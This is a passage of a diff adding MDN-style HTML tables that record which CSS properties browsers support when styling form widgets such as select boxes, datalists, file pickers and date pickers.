+     <li>IE9 does not support this property on <code>{{htmlelement("select")}}</code>, <code>{{htmlelement("option")}}</code>, and <code>{{htmlelement("optgroup")}}</code> elements; WebKit based browsers on Mac OSX do not support this property on <code>{{htmlelement("option")}}</code> and <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 on Windows 7 and WebKit based browsers on Mac OSX do not support this property on this widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Only Firefox provides full support for this property. Opera does not support this property at all and other browsers only support it on the <code>{{htmlelement("select")}}</code> element.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td>
+    <ol>
+     <li>Most of the browsers only support this property on the <code>{{htmlelement("select")}}</code> element.</li>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td>
+    <ol>
+     <li>Most of the browsers only support this property on the <code>{{htmlelement("select")}}</code> element.</li>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Most of the browsers only support this property on the <code>{{htmlelement("select")}}</code> element.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Most of the browsers only support this property on the <code>{{htmlelement("select")}}</code> element.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Note Firefox does not provide any way to change the down arrow on the <code>{{htmlelement("select")}}</code> element.</p>
+
+<h3 id="Select_boxes_multiline">Select boxes (multiline)</h3>
+
+<p>See the <code>{{htmlelement("select")}}</code>, <code>{{htmlelement("optgroup")}}</code> and  <code>{{htmlelement("option")}}</code> elements and the <a href="/en-US/docs/Web/HTML/Attributes/size"><code>size</code> attribute</a>.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Opera does not support {{cssxref("padding-top")}} and {{cssxref("padding-bottom")}} on the <code>{{htmlelement("select")}}</code> element.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>See the note about {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 does not support this property on <code>{{htmlelement("select")}}</code>, <code>{{htmlelement("option")}}</code>, and <code>{{htmlelement("optgroup")}}</code> elements; WebKit based browsers on Mac OSX do not support this property on <code>{{htmlelement("option")}}</code> and <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 on Windows 7 and WebKit based browser on Mac OSX do not support this property on this widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Only supported by Firefox and IE9+.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Most of the browsers only support this property on the <code>{{htmlelement("select")}}</code> element.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Opera the {{cssxref("border-radius")}} property is applied only if an explicit border is set.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Datalist">Datalist</h3>
+
+<p>See the <code>{{htmlelement("datalist")}}</code> and <code>{{htmlelement("input")}}</code> elements and the <a href="/en-US/docs/Web/HTML/Attributes/list"><code>list</code> attribute</a>.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="File_picker">File picker</h3>
+
+<p>See the <code>{{htmlelement("input/file", "file")}}</code> input type.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Supported, but there is too much inconsistency between browsers to be reliable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Many browsers apply this property to the select button.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>It acts more or less like an extra left margin outside the widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Supported, but there is too much inconsistency between browsers to be reliable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Date_pickers">Date pickers</h3>
+
+<p>See the <code>{{htmlelement("input/date", "date")}}</code> and <code>{{htmlelement("input/time", "time")}}</code> input types. Many properties are supported, but there is too much inconstency between browsers to be reliable.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
